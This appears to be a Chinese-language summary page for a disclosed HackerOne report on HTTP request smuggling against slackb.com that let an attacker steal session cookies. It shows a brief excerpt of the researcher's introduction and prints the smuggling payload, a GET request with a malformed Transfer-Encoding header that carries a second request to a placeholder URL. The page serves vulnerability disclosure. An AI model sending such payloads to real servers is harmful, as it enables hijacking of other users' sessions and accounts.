Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies
该报告还没有中文解读。
原文摘录
摘自原文（4810 字符中的一小部分）
My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a month long bounty promotion I decided to take a little of my time and gently perform recon on your platform. Specifically the area of interest I focus in is HTTP Request Smuggling. I developed …
原文中的代码
GET / HTTP/1.1 Transfer-Encoding : chunked Host: slackb.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET <URL> HTTP/1.1 X: X
默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Slack 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @defparam · 版权归作者与 Slack 所有